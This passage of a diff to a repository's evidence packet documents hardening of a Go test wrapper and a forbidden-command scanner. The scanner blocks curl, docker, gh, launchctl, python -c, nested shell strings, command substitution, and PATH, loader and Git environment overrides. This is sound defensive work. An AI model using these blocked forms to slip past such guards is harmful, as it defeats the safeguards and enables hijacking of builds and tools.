previous.index("go_test_checked()")) + 1 wrapper_end = previous.index("\nPY\n}", wrapper_start) @@ -14637,7 +26737,7 @@ from pathlib import Path parent = "da1af0d041e37e5df9f3ed8028b51a69ec58ed8c" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") @@ -14730,7 +26830,16 @@ from types import SimpleNamespace parent = "da1af0d041e37e5df9f3ed8028b51a69ec58ed8c" packet_path = Path("docs/evidence/g01-recovery-packet.md") packet = packet_path.read_text(encoding="utf-8") -if subprocess.check_output(["git", "rev-parse", "HEAD"], text=True).strip() != parent: +if subprocess.check_output( + [ + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "rev-parse", "HEAD", + ], + text=True, +).strip() != parent: raise SystemExit("green probe must run at the immutable exact parent") wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 @@ -15028,7 +27137,7 @@ from pathlib import Path parent = "5297b3c3b05afedf97723b7b58806cdd5519a2b6" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) @@ -15423,2016 +27532,3306 @@ coverage of only the first macOS private-var spelling. The probes were static or child-witness checks only and did not run Go, Docker, shell payloads or live operations. -Recorded red results: +Recorded red results: + +```text +RED 4002447532: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe leaves 2 future go vet prescriptions outside a shared bounded helper +RED 4002447545: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe forwards all 4 named compiler search-path controls before cgo/tool identity +RED 4002447542: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe accepts 4 Docker invocations outside its small subcommand list +RED 4002447537: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe accepts 4 direct/assignment/pipeline/nested command substitutions +RED 4002447549: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe scans the first private-var spelling but has no second macOS private-var spelling +RED 4002447545 child witness: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe forwarded 4 named search-path values to first go env child +``` + +#### Minimal packet correction and focused green evidence + +The correction routes both future vet prescriptions through the thin +`go_vet_checked` adapter and the existing bounded process-group, reviewed +environment and source/package/build-identity wrapper. Vet uses zero-test-count +metadata, the same `run_go_child` deadline/reap path and the same nine-part +identity; the adapter avoids adding a prescription to the 28-test ledger. +Compiler search-path and SDK/deployment controls are rejected before the +reviewed cgo/tool identity in both the wrapper and its prescription audit. +The forbidden-command scanner checks substitutions before assignment/wrapper +stripping, rejects every Docker executable form, and the staged private-path +audit binds both macOS private-var spellings through separate reviewed roots. + +The focused candidate probe read only the packet, exercised direct, assignment, +pipeline and nested `$()`/backtick boundaries, every Docker fixture, all named +compiler controls, both private-var roots, both vet prescriptions and the +retained 28 test prescriptions. It ran with `python3 -I`; no Go child or live +operation started. + +Recorded focused green result: + +```text +GREEN focused boundary probe: passed; Docker, direct/assignment/pipeline/nested $()/backtick forms fail closed; compiler search paths reject before cgo/tool identity; both private-var spellings present; 2 vet prescriptions share the bounded wrapper; 28 test prescriptions retained +``` + +The focused hygiene run then passed 28 prescription identity checks, the +five-row exact-parent URL/ledger checks, local-link/anchor checks, backlog JSON +parsing, isolated-Python checks and working/staged diff checks. It observed one +staged packet path and no added-line secret/private-path matches; the early +match regression fixture also failed closed as intended. + +```text +GREEN hygiene: passed; 28 prescription identity records, 2 vet records, 5 exact URLs/parent ledger rows, compiler/private-root order, 63 local links, backlog JSON and isolated Python checks passed +``` + +#### Exact review URL ledger, dispositions and rollback + +All five findings below are scoped to the same immutable parent and remain +unresolved GitHub review metadata until a fresh exact-head Codex review is +completed on the pushed candidate. + +| Finding and immutable source | Exact review URL | Disposition and rollback | +|---|---|---| +| 4002447532, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447532](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447532) | Reproduced the two raw vet prescriptions; both now use `go_vet_checked`, which delegates to the shared bounded Go-child/environment/source-identity wrapper. Roll back only this packet correction commit or restore this document to the immutable parent; preserve unrelated corrections and manual runners. | +| 4002447537, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447537](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447537) | Reproduced direct, assignment, pipeline and nested command-substitution acceptance; scanner now fails closed before token-wrapper stripping or fence certification for `$()` and backticks. Rollback is packet-only parent restoration, with no live cleanup. | +| 4002447542, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447542](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447542) | Reproduced the small Docker subcommand allowlist; scanner now rejects every Docker invocation, including help/version/read-only and absolute forms. Rollback is packet-only parent restoration; no Docker command ran. | +| 4002447545, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447545](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447545) | Reproduced four named compiler search-path controls reaching the first child; wrapper and metadata audit now reject or bind them before cgo/tool identity. Rollback is packet-only parent restoration; no compiler, Go, test or live process ran. | +| 4002447549, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447549](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447549) | Reproduced the missing second macOS private-var spelling; staged secret/private-path audit now scans both reviewed roots. Rollback is packet-only parent restoration; no private path or private log was captured. | + +The rollback boundary is deliberately narrow: remove the one focused commit, +or restore only this document to the immutable parent after recording the +failed candidate SHA. Do not reset unrelated work, delete runners, prune +Docker, alter Lima/Keychain/launchd state or replay a workflow. After push, +`git rev-parse HEAD`, `git ls-remote origin refs/heads/orca/g01-evidence-packet` +and the exact-head Codex/CI gates are the only current candidate assertions. + +### Stable anchors for ledger-only roots + + +The detailed ledger immediately below carries the immutable source and +discussion URL for each row. These per-root headings make the current and +stale dispositions addressable without relying on mutable line numbers. + +#### Root 4000820533: command-wrapped selectors + +Disposition: the static shell/logical audits discover bare, assignment-prefixed, +`env`-wrapped and option-bearing `command ... go test` selectors; the wrapper +rejects command prefixes before any Go child, with no test body or live result. + +#### Root 4000820538: package-variable and imported initialization + +Disposition: source-derived names use the exact non-executing `go list -json +-test` file set and never start `go test -list`; synthetic package-variable and +imported-init source is parsed only, so no initializer or test body runs. + +#### Root 4000935445: CGO mode in build identity + +Disposition: the wrapper pins `CGO_ENABLED=1`, rejects conflicting command +assignments before metadata, passes that environment to metadata and execution, +and records `cgo1` in every build identity. + +#### Root 4000935448: CPU multiplicity + +Disposition: `-cpu` and equivalent double-dash forms are rejected before +metadata, so repeated run/pass events cannot be collapsed into one set-based +result. + +#### Root 4000820530: `-toolexec` execution hooks + +Disposition: separated and equals-form `-toolexec` inputs are rejected before +the first Go child; no tool hook, metadata query, test body or result runs. + +#### Root 4000935440: double-dash overrides + +Disposition: every `--...` Go spelling is rejected before the first Go child, +including tool/module/overlay/timeout/exec/args, benchmark, selector, CPU and +build overrides. + +#### Root 4000935441: all valid Go test names + +Disposition: source derivation follows Go's `isTest` condition, retaining empty +suffix, numeric, underscore, uppercase and other non-lowercase-rune names while +rejecting lowercase-initial suffixes. + +#### Root 4000935444: benchmark execution + +Disposition: benchmark-enabling `-bench`/`-test.bench` and equivalent +double-dash forms are rejected before metadata; no benchmark or test body runs. + +#### Root 4000935449: additional package paths + +Disposition: pre-metadata parsing requires exactly one positional package and +matches it to the reviewed `module-directory:package` identity; extra relative +or import-path targets fail closed before Git/Go metadata. + +#### Root 4000964602: executable examples + +Disposition: any top-level executable `Example` declaration is rejected before +claiming a source-derived digest, so an unrepresented example body cannot run. + +#### Root 4001593870: compiler and cgo-tool environment overrides + +Disposition: inherited and command-prefix compiler/cgo-tool variables fail +closed before any Go child; `CGO_ENABLED=1` remains pinned and +`cgo-tools-default` is included in every current build identity. No compiler, +linker, pkg-config, metadata, test or live process ran in the focused probe. + +#### Root 4001593875: absolute executable paths in forbidden live-command scanner + +Disposition: executable basenames are normalized before every scanner wrapper, +shell-string and forbidden-command check; absolute direct and wrapper-prefixed +curl/gh/docker/limactl/security/launchctl forms are rejected. No live command +ran. + +#### Root 4001593877: unfiltered `go test` prescriptions + +Disposition: all executable shell-fence `go test` commands, including +unfiltered forms, are discovered and must be `go_test_checked` or an explicitly +marked non-prescription fixture; the current packet has 28 guarded commands and +zero such fixtures. No Go child or test body ran. + +#### Root 4001907037: persisted `GOENV` compiler settings + +Disposition: inherited and command-prefix `GOENV` values other than reviewed +`off` fail closed before the first Git/Go child; the child environment is +rechecked for `GOENV=off`. The focused prefix probe accepted only the reviewed +value and rejected the synthetic persisted path without starting a child. + +#### Root 4001907044: inherited executable `PATH` + +Disposition: the inherited PATH is validated against and replaced with the +reviewed `/opt/homebrew/bin:/usr/bin:/bin` value before the first Git lookup; +the same value is passed to Go children. The focused prefix probe rejected a +synthetic inherited path before any child. + +#### Root 4001907050: absolute `go test` executable discovery + +Disposition: exhaustive shell-fence discovery normalizes executable basenames, +so `/opt/homebrew/bin/go test` is classified as an executable Go test command +and an unfiltered instance fails closed as an unguarded prescription. The +focused static audit observed and rejected that absolute synthetic command. + +#### Root 4001907053: Python command-string live-command boundary + +Disposition: the scanner rejects direct, absolute, `env`-wrapped and compact +`python`/`python3 -c` forms before payload execution or further interpretation; +safe direct `printf` remains accepted. The focused pure-scanner probe rejected +all four synthetic Python forms without running a command. The scanner also +fails closed for every `gh` invocation, including global flags before a +subcommand, so it never relies on a partial global-flag parser. + +#### Root 4001907059: reviewed target in build identity + +Disposition: the wrapper binds reviewed `GOOS=darwin`, `GOARCH=arm64` and +`GOARM64=v8.0`, rejects unreviewed target feature settings, and records the +target identity in all 28 nine-part build identities. The focused prefix and +record audit verified the binding without a Go child. + +#### Root 4001907060: Git index intent bits + +Disposition: after the clean status gate and before package metadata/source +derivation, `git ls-files -v` rejects `S`, `s` and `h` source intent-bit entries. +The focused temporary-repository probe observed both skip-worktree and +assume-unchanged forms and the helper refused them before source reads. + +#### Root 4001907063: immutable prior-correction URLs + +Disposition: the packet URL ledger retains immutable discussion URLs for +4001767353, 4001767363 and 4001767365, with exact GitHub anchors and no claim +that review metadata is resolved. The focused string/URL probe verified all +three exact URLs. + +#### Root 4002136372: inherited and command-prefix GOROOT + +Disposition: the wrapper accepts only the reviewed toolchain-selected default +`GOROOT=""`, rejects any other inherited or command-prefix value before a Go +child, passes the effective default to each bounded child and records only the +sanitized `goroot-default` identity. No raw root path is emitted. + +#### Root 4002136380: inherited and command-prefix GOFIPS140 + +Disposition: the wrapper rejects any inherited or command-prefix +`GOFIPS140` value other than reviewed `off` before a Go child, pins `off` in +the child environment and records `gofips140-off` in every current build +identity. + +#### Root 4002136385: gh global flags before subcommand classification -```text -RED 4002447532: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe leaves 2 future go vet prescriptions outside a shared bounded helper -RED 4002447545: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe forwards all 4 named compiler search-path controls before cgo/tool identity -RED 4002447542: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe accepts 4 Docker invocations outside its small subcommand list -RED 4002447537: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe accepts 4 direct/assignment/pipeline/nested command substitutions -RED 4002447549: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe scans the first private-var spelling but has no second macOS private-var spelling -RED 4002447545 child witness: exact parent 09ecc1b581af8a3b955b8f44b817e064e9674abe forwarded 4 named search-path values to first go env child -``` +Disposition: the executable scanner fails closed for every `gh` invocation, +including global-flag, version and absolute-path forms, before it attempts to +classify a subcommand. No gh command or live operation ran. -#### Minimal packet correction and focused green evidence +#### Root 4002136391: isolated Python guard and audit imports -The correction routes both future vet prescriptions through the thin -`go_vet_checked` adapter and the existing bounded process-group, reviewed -environment and source/package/build-identity wrapper. Vet uses zero-test-count -metadata, the same `run_go_child` deadline/reap path and the same nine-part -identity; the adapter avoids adding a prescription to the 28-test ledger. -Compiler search-path and SDK/deployment controls are rejected before the -reviewed cgo/tool identity in both the wrapper and its prescription audit. -The forbidden-command scanner checks substitutions before assignment/wrapper -stripping, rejects every Docker executable form, and the staged private-path -audit binds both macOS private-var spellings through separate reviewed roots. +Disposition: every executable Python heredoc uses `python3 -I`; an isolated +synthetic import probe rejected cwd/PYTHONPATH shadowing before audit imports +could execute. The current packet has 37 such heredoc prescriptions. -The focused candidate probe read only the packet, exercised direct, assignment, -pipeline and nested `$()`/backtick boundaries, every Docker fixture, all named -compiler controls, both private-var roots, both vet prescriptions and the -retained 28 test prescriptions. It ran with `python3 -I`; no Go child or live -operation started. +#### Root 4002136393: stale exact-head output records -Recorded focused green result: +Disposition: the three older literal head-output records are explicitly +historical, the follow-up is scoped to immutable parent +`da1af0d041e37e5df9f3ed8028b51a69ec58ed8c`, and the dynamic post-push +head/remote template is the only current-head assertion. The focused exact-head +probe verified the relabeling and did not claim a stale result. -```text -GREEN focused boundary probe: passed; Docker, direct/assignment/pipeline/nested $()/backtick forms fail closed; compiler search paths reject before cgo/tool identity; both private-var spellings present; 2 vet prescriptions share the bounded wrapper; 28 test prescriptions retained -``` +#### Root 4002136395: downloaded module-source verification -The focused hygiene run then passed 28 prescription identity checks, the -five-row exact-parent URL/ledger checks, local-link/anchor checks, backlog JSON -parsing, isolated-Python checks and working/staged diff checks. It observed one -staged packet path and no added-line secret/private-path matches; the early -match regression fixture also failed closed as intended. +Disposition: before package metadata, the wrapper obtains module metadata with +bounded `go mod download -json all`, requires complete checksum/source fields +and existing paths without printing them, then runs bounded `go mod verify`; +download, metadata and verification failures fail closed. No live or Go child +was started by the focused probe. -```text -GREEN hygiene: passed; 28 prescription identity records, 2 vet records, 5 exact URLs/parent ledger rows, compiler/private-root order, 63 local links, backlog JSON and isolated Python checks passed -``` +#### Root 4002184738: command-delegating live-command forms -#### Exact review URL ledger, dispositions and rollback +Disposition: the forbidden-command scanner rejects xargs, find, parallel, make +and equivalent command-delegating launchers before a delegated `gh`/live command +can be hidden in direct, pipeline, wrapper-prefixed or nested syntax. The +focused synthetic probe rejected every listed form while retaining safe direct +`printf`; no live command ran. -All five findings below are scoped to the same immutable parent and remain -unresolved GitHub review metadata until a fresh exact-head Codex review is -completed on the pushed candidate. +#### Root 4002184745: descendant process-group timeout and reap -| Finding and immutable source | Exact review URL | Disposition and rollback | -|---|---|---| -| 4002447532, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447532](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447532) | Reproduced the two raw vet prescriptions; both now use `go_vet_checked`, which delegates to the shared bounded Go-child/environment/source-identity wrapper. Roll back only this packet correction commit or restore this document to the immutable parent; preserve unrelated corrections and manual runners. | -| 4002447537, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447537](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447537) | Reproduced direct, assignment, pipeline and nested command-substitution acceptance; scanner now fails closed before token-wrapper stripping or fence certification for `$()` and backticks. Rollback is packet-only parent restoration, with no live cleanup. | -| 4002447542, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447542](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447542) | Reproduced the small Docker subcommand allowlist; scanner now rejects every Docker invocation, including help/version/read-only and absolute forms. Rollback is packet-only parent restoration; no Docker command ran. | -| 4002447545, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447545](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447545) | Reproduced four named compiler search-path controls reaching the first child; wrapper and metadata audit now reject or bind them before cgo/tool identity. Rollback is packet-only parent restoration; no compiler, Go, test or live process ran. | -| 4002447549, source `09ecc1b581af8a3b955b8f44b817e064e9674abe` | [discussion 4002447549](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447549) | Reproduced the missing second macOS private-var spelling; staged secret/private-path audit now scans both reviewed roots. Rollback is packet-only parent restoration; no private path or private log was captured. | +Disposition: every Go child owns a fresh session/process group; timeout sends +SIGTERM to the group, escalates to SIGKILL after the bounded grace period and +waits for the direct child to be reaped before refusing the result. The +synthetic descendant tree terminated/reaped without a real Go child; no live +cleanup or force-kill was performed. -The rollback boundary is deliberately narrow: remove the one focused commit, -or restore only this document to the immutable parent after recording the -failed candidate SHA. Do not reset unrelated work, delete runners, prune -Docker, alter Lima/Keychain/launchd state or replay a workflow. After push, -`git rev-parse HEAD`, `git ls-remote origin refs/heads/orca/g01-evidence-packet` -and the exact-head Codex/CI gates are the only current candidate assertions. +#### Root 4002184748: commented package-init declarations -### Stable anchors for ledger-only roots +Disposition: the package-init guard lexically skips whitespace and consecutive +line/block comments between valid Go tokens, ignores literals and non-top-level +functions, and fails closed on a valid top-level `func init()` declaration. The +focused source-only probe detected valid commented declarations and rejected +comment/string/receiver/name boundaries without Go metadata/list/test execution. +#### Root 4002447532: future go vet prescriptions use the bounded wrapper -The detailed ledger immediately below carries the immutable source and -discussion URL for each row. These per-root headings make the current and -stale dispositions addressable without relying on mutable line numbers. +Disposition: both future vet commands use `go_vet_checked`, which delegates to +the same bounded Go-child process-group helper, reviewed child environment and +source/package/build identity used by the 28 test prescriptions. -#### Root 4000820533: command-wrapped selectors +#### Root 4002447537: shell command substitutions fail closed -Disposition: the static shell/logical audits discover bare, assignment-prefixed, -`env`-wrapped and option-bearing `command ... go test` selectors; the wrapper -rejects command prefixes before any Go child, with no test body or live result. +Disposition: `$()` and backtick substitutions are rejected before assignment or +wrapper stripping, including direct, assignment-only, pipeline and nested forms; +the scanner does not skip assignment-only records when they contain command or +process substitutions, and it does not attempt shell expansion. -#### Root 4000820538: package-variable and imported initialization +#### Root 4002447542: every Docker invocation is forbidden -Disposition: source-derived names use the exact non-executing `go list -json --test` file set and never start `go test -list`; synthetic package-variable and -imported-init source is parsed only, so no initializer or test body runs. +Disposition: Docker is rejected by executable identity before subcommand +classification, covering direct, wrapper-prefixed, absolute, help/version and +read-only forms. -#### Root 4000935445: CGO mode in build identity +#### Root 4002447545: compiler search paths precede cgo/tool identity -Disposition: the wrapper pins `CGO_ENABLED=1`, rejects conflicting command -assignments before metadata, passes that environment to metadata and execution, -and records `cgo1` in every build identity. +Disposition: the named compiler search-path and SDK/deployment controls are +rejected from inherited/command-prefix environments before the reviewed +`cgo-tools-default` identity and any Go child. -#### Root 4000935448: CPU multiplicity +#### Root 4002447549: both macOS private-var spellings are scanned -Disposition: `-cpu` and equivalent double-dash forms are rejected before -metadata, so repeated run/pass events cannot be collapsed into one set-based -result. +Disposition: the staged diff audit binds separate reviewed roots for both +macOS private-var spellings and rejects either spelling before certification. -#### Root 4000820530: `-toolexec` execution hooks +### Current exact-head Luna/Codex finding ledger -Disposition: separated and equals-form `-toolexec` inputs are rejected before -the first Go child; no tool hook, metadata query, test body or result runs. +These forty actionable roots were reproduced against immutable packet +heads and are carried with their discussion URL and exact source commit. The +rows describe only offline/static or wrapper evidence; they do not resolve the +GitHub discussions or claim a live result. -#### Root 4000935440: double-dash overrides +| Finding and immutable source | Red reproduction and minimal correction | Focused result and boundary | +|---|---|---| +| [4000820530](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000820530), source [36ec84b27c934a25484b0a5391af0a20c7643912](https://github.com/1XP-AI/gh-runnerd/commit/36ec84b27c934a25484b0a5391af0a20c7643912) | The immutable prior wrapper had no `-toolexec` guard; the synthetic red probe records its first Go child as `go env GOFLAGS`. The current wrapper rejects both separated and equals-form tool hooks before any Go child. | No tool hook, metadata query, test body or result recording ran in the focused current regression. | +| [4000820538](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000820538), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The exact prior guard scanned only `func init`; the correction derives names from `go list -json -test` source metadata and never starts `go test -list`, so package-variable and imported init paths cannot execute during validation. | Synthetic effectful package-variable and imported-init source was parsed only; no initializer or Go test body ran. | +| [4000935440](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935440), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The immutable starting wrapper rejected only selected single-dash forms, and the red `--overlay` probe reached `go env GOFLAGS`. The correction rejects every `--...` Go spelling before the first Go child, including tool/module/overlay/timeout/exec/args, benchmark, selector and build overrides. | Twenty current synthetic separated/equals forms rejected with empty output and zero Go children; no test body, live operation, credential or private path was used. | +| [4000935441](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935441), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior source parser required an uppercase fifth character and omitted valid `Test`, `Test1` and `Test_Foo` declarations. The corrected parser uses Go's `isTest` condition that accepts an empty suffix or any first suffix rune that is not lowercase. | Focused source-only regression retained all three names; no package execution or `go test -list` ran. | +| [4000935444](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935444), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior wrapper accepted benchmark-enabling `-bench` and test-binary `-test.bench` overrides while validating only `Test*` events. The correction rejects both benchmark families and all equivalent double-dash forms before metadata. | Synthetic `-bench=.` and `-test.bench=.` cases rejected before source derivation; no benchmark or test body ran. | +| [4000935445](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935445), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior build identity omitted effective cgo mode. The wrapper now pins `CGO_ENABLED=1` before metadata, rejects a conflicting command value, passes the same environment to metadata and execution and binds `cgo1` into every prescription build identity. | Inherited `CGO_ENABLED=0` was overridden on both direct metadata probes; conflicting command input rejected before any Go child. | +| [4000935448](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935448), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior wrapper accepted `-cpu=1,2`, while set-based event validation could collapse repeated run/pass events. The correction rejects `-cpu` and every equivalent double-dash spelling before metadata. | Synthetic CPU multiplicity input rejected before source derivation; no repeated execution or event stream was accepted. | +| [4000935449](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935449), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior package scan counted only `.` and `./...`, allowing an extra module-qualified import path. The correction parses every non-flag positional argument, requires exactly one package argument before metadata and retains exact `-C` and package identity checks. | Synthetic relative-plus-import-path targeting rejected before `go env` or `go list`; no second package initialized or ran. | +| [4000964602](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000964602), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior source set omitted executable `Example` functions even though an unfiltered prescription executes them. The conservative correction rejects any top-level `Example` declaration before claiming a set digest. | Focused synthetic `ExampleWidget` declaration rejected before a digest or result was recorded; no example body ran. | +| [4001254021](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001254021), source [423d4fc501120a014e63f77d3ef6652606d0326a lines 971-1062](https://github.com/1XP-AI/gh-runnerd/blob/423d4fc501120a014e63f77d3ef6652606d0326a/docs/evidence/g01-recovery-packet.md#L971-L1062) | Reproduced: the immutable source-name helper returned after its first `//` line, so consecutive line/block comments between `func` and `TestHidden` caused the valid declaration to be omitted. Corrected: `skip_source_ignored` now consumes whitespace and consecutive line/block comments until the next token; final source-name anchors are lines 1019-1111. | Immutable red/current-green source-only evidence is recorded at packet lines 4574-4688; the current probe discovers `TestHidden` and observed zero Go children. | +| [4001254025](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001254025), source [423d4fc501120a014e63f77d3ef6652606d0326a lines 1065-1083](https://github.com/1XP-AI/gh-runnerd/blob/423d4fc501120a014e63f77d3ef6652606d0326a/docs/evidence/g01-recovery-packet.md#L1065-L1083) | Reproduced: the immutable helper left `[[:xdigit:]]` untranslated, so Python derived a set different from Go's ASCII xdigit class. Corrected: preflight now scans nested POSIX classes against the explicit seven-name translation table and rejects all other classes before compile or metadata, while preserving reviewed translations and escaped literals; final regexp anchors are lines 935-986 and 1114-1123. | Immutable red/current-green mismatch and no-Go-child evidence is recorded at packet lines 4691-4856; six unsupported classes were rejected before Python compile and zero Go children were observed. | +| [4001378617](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001378617), source [f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e](https://github.com/1XP-AI/gh-runnerd/commit/f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e) | Reproduced: command-prefix `PATH` and loader variables reached the first Go child, allowing a transparent executable-loader override. Corrected: the wrapper and package/build metadata audit reject PATH plus reviewed `LD_`/`DYLD_` loader-affecting assignments before guarded subprocesses. | [Final PATH/loader evidence](#root-4001378617-path-and-loader-affecting-assignment-prefixes): 14 assignment forms rejected before any Go child/result; a transparent `go` wrapper did not run. | +| [4001378618](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001378618), source [f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e](https://github.com/1XP-AI/gh-runnerd/commit/f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e) | Reproduced: Python `str.islower()` omitted Go-valid `Testª`. Corrected: source derivation matches cmd/go's `unicode.IsLower` lowercase-letter rule, accepting non-lowercase Unicode initial runes and rejecting lowercase ones. | [Final Unicode evidence](#root-4001378618-go-unicode-lowercase-predicate-for-test-names): `Testª`, titlecase and other non-lowercase boundaries accepted; lowercase cases rejected; no Go child. | +| [4001378622](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001378622), source [f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e](https://github.com/1XP-AI/gh-runnerd/commit/f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e) | Reproduced: direct and nested `bash/sh -c` payloads bypassed the executable-token scan. Corrected: shell command-string forms are recursively inspected and fail closed across direct, absolute, optioned, wrapper-prefixed, `busybox` and nested forms. | [Final nested-shell evidence](#root-4001378622-recursive-shell-command-string-scan): all direct/nested forms rejected while a safe direct command remained accepted by the pure scanner. | +| [4001378624](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001378624), source [f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e](https://github.com/1XP-AI/gh-runnerd/commit/f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e) | Reproduced: source-fuzz scanning opened an ignored FIFO before the cleanliness gate and blocked. Corrected: immutable tree/status cleanliness runs before candidate glob/read; the guard rejects ignored special files before metadata or Go execution. | [Final FIFO evidence](#root-4001378624-cleanliness-gate-before-source-reads): ignored `stuck_test.go` rejected before read, metadata/Go child or blocking. | +| [4001471783](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001471783), source [01764bbed0a387129d2a2abbc9e27a87e073f87e](https://github.com/1XP-AI/gh-runnerd/commit/01764bbed0a387129d2a2abbc9e27a87e073f87e) | Reproduced: the exact starting wrapper queried Git before parsing inherited or command-prefix assignments, so `GIT_WORK_TREE`, `GIT_DIR`, `GIT_INDEX_FILE` and related repository-control `GIT_*` variables could alter immutable-tree/status/index semantics. Corrected: assignment parsing and one shared reviewed Git name/prefix rejection now precede every Git query; the package/build audit mirrors the rejection. | [Final Git-environment evidence](#root-4001471783-git-repository-control-environment-overrides): 27 inherited and 3 command-prefix overrides rejected before any Git/Go child or immutable-tree/status validation. | +| [4001593870](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001593870), source [4bd66186ea8d980a06ed8a4adf7f51e76b5028ef](https://github.com/1XP-AI/gh-runnerd/commit/4bd66186ea8d980a06ed8a4adf7f51e76b5028ef) | Reproduced: the immutable wrapper forwarded inherited `CC`, `CXX`, `GCCGO` and `CGO_*` controls to its first `go env` child. Corrected: compiler/cgo-tool environment names plus the reviewed `CGO_*` namespace fail closed before any Go child; the existing `CGO_ENABLED=1` pin remains, and `cgo-tools-default` is bound into every current build identity. | [Compiler/cgo-tool boundary](#root-4001593870-compiler-and-cgo-tool-environment-overrides): 24 inherited/command-prefix synthetic overrides rejected before any child; 28 prescriptions carry the effective tool identity; no compiler, Go, test or live process ran. | +| 